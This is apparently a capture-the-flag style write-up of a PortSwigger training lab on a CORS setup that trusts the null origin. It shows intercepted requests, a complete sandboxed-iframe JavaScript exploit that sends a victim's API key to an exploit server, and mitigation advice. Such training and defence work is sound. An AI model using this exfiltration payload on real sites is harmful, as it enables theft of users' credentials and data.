Solving PortSwigger Labs: CORS vulnerability with trusted null origin

Introduction
Cross-Origin Resource Sharing (CORS) vulnerabilities can take many forms, and one of the most interesting variants involves trusting the "null" origin. In this article, we'll explore the PortSwigger Web Security Academy lab "CORS vulnerability with trusted null origin" and learn how attackers can exploit applications that incorrectly trust this special origin value.
Understanding the Null Origin
The null origin is a special value in the CORS specification that represents an opaque origin. According to the HTML specification, the null origin is triggered in several scenarios:
Sandboxed iframes: When an iframe has the
sandboxattribute withoutallow-same-originData URLs: When content is loaded from
data:URLsFile URLs: When accessing local HTML files (
file://)Redirects: In certain redirect scenarios
Cross-origin requests: In some cross-origin navigation contexts
Many developers mistakenly whitelist the null origin thinking it's safe or to support local development, not realizing that any website can easily generate requests with a null origin using sandboxed iframes.
Lab Overview
Lab Name: CORS vulnerability with trusted null origin
Objective: Retrieve the administrator's API key using a CORS exploit
Target: https://0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net/
Exploit Server: https://exploit-0a8400620321959c8136151401740085.exploit-server.net/
Credentials: wiener:peter
Step 1: Initial Reconnaissance
First, I logged into the application using the provided credentials (wiener:peter) to understand the application structure and identify potential CORS endpoints.
After logging in, I navigated to the account details page and observed network traffic to identify API endpoints that might be vulnerable to CORS attacks.
Step 2: Identifying the Vulnerable Endpoint
I discovered that the application makes requests to /accountDetails to retrieve user information, including an API key. This endpoint appeared to be a prime target for CORS exploitation.
Step 3: Testing for CORS Vulnerability
To test for CORS vulnerabilities, I intercepted the request to /accountDetails and modified the Origin header to test different values.
Original Request:
GET /accountDetails HTTP/2
Host: 0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net
Cookie: session=i8sEYo13yZUJvu2gomKrnpHwUghgbT3E
Testing with Null Origin:
GET /accountDetails HTTP/2
Host: 0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net
Cookie: session=i8sEYo13yZUJvu2gomKrnpHwUghgbT3E
Origin: null
Vulnerable Response:
HTTP/2 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "OK6eoYqq9rHUDt4mzUDTnmB8PtAcpqyz",
"sessions": [
"i8sEYo13yZUJvu2gomKrnpHwUghgbT3E"
]
}
The response shows two critical CORS misconfigurations:
Access-Control-Allow-Origin: null- The server trusts the null originAccess-Control-Allow-Credentials: true- Cookies are allowed in cross-origin requests
Step 4: Understanding the Null Origin Attack Vector
The key insight for exploiting null origin vulnerabilities is that any website can force a browser to send requests with Origin: null by using a sandboxed iframe. According to the HTML specification and security research, sandboxed iframes generate requests with a null origin.
The attack works by embedding a sandboxed iframe with a data URL containing our malicious JavaScript:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>/* malicious code here */</script>'>
</iframe>
Step 5: Crafting the Exploit
The exploit consists of an HTML page with a sandboxed iframe that:
Makes a CORS request to the vulnerable
/accountDetailsendpointExtracts the administrator's API key from the response
Exfiltrates the API key to our controlled server
Complete Exploit Code:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() {
// Parse the response to extract the API key
var response = JSON.parse(this.responseText);
var apikey = response.apikey;
// Send the API key to the exploit server
var exfiltrate = new XMLHttpRequest();
exfiltrate.open("GET", "https://exploit-0a8400620321959c8136151401740085.exploit-server.net/exploit?apikey=" + apikey, true);
exfiltrate.send();
};
// Make CORS request to the vulnerable endpoint with null origin
req.open("GET", "https://0a20006b03c3955a81ef16a5003a00f2.web-security-academy.net/accountDetails", true);
req.withCredentials = true;
req.send();
</script>'></iframe>
Step 6: Deploying the Exploit
Navigate to the exploit server at
https://exploit-0a8400620321959c8136151401740085.exploit-server.net/Paste the exploit code into the body section
Click "Store" to save the exploit
Click "Deliver exploit to victim" to trigger the attack
Click "Access server log"
Check the request that was made by the victim to the exploit server that looks like this:
10.0.4.241 2025-07-23 08:49:53 +0000 "GET /exploit?apikey=i3NCPLRccl0ZXOKFX5Sb3ErmkkZkf6VR HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"Copy the API key from the log entry
Submit the API key as the solution
Step 7: Understanding Why the Attack Works
The attack succeeds because:
Sandboxed iframes generate null origins: The
sandboxattribute withoutallow-same-origincauses the browser to sendOrigin: nullServer trusts null origin: The vulnerable application whitelists the null origin
Credentials are included:
Access-Control-Allow-Credentials: trueallows session cookies to be sentSame-site context: The iframe runs in the context of our exploit server, but makes requests with null origin
Vulnerability Analysis
Root Cause
The vulnerability stems from the application's CORS configuration that explicitly trusts the null origin:
// Vulnerable CORS configuration (conceptual)
if (origin === "null" || trustedOrigins.includes(origin)) {
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
}
Impact
This vulnerability allows attackers to:
Steal sensitive user data (API keys, personal information)
Perform actions on behalf of authenticated users
Bypass same-origin policy protections
Access internal API endpoints
Mitigation Strategies
1. Never Trust Null Origin
// Secure CORS configuration
const trustedOrigins = ["https://trusted-domain.com"];
if (trustedOrigins.includes(origin)) {
response.setHeader("Access-Control-Allow-Origin", origin);
}
// Never allow null origin
2. Implement Proper CORS Headers
Use specific, trusted origins instead of wildcards
Avoid
Access-Control-Allow-Origin: *with credentialsImplement proper preflight handling
3. Additional Security Measures
Implement CSRF tokens for state-changing operations
Use SameSite cookie attributes
Implement proper authentication checks
Consider Content Security Policy (CSP) headers
Detection and Prevention
For Developers:
Code Review: Audit CORS configurations for null origin handling
Testing: Include null origin tests in security testing suites
Configuration Management: Use centralized CORS configuration
Documentation: Document all allowed origins and their purposes
For Security Teams:
Automated Scanning: Include CORS null origin tests in security scanners
Penetration Testing: Manual testing for CORS misconfigurations
Code Analysis: Static analysis tools to detect vulnerable patterns
Conclusion
The trusted null origin vulnerability demonstrates how seemingly innocuous CORS configurations can lead to serious security issues. The ability for any website to generate requests with a null origin through sandboxed iframes makes this vulnerability particularly dangerous.
Key takeaways:
Never trust the null origin in production applications
Understand the security implications of CORS configurations
Implement defense in depth with multiple security layers
Regular security testing should include CORS vulnerability assessments
This lab effectively illustrates why security configurations should be thoroughly understood and tested, as subtle misconfigurations can lead to complete compromise of user data and application security.
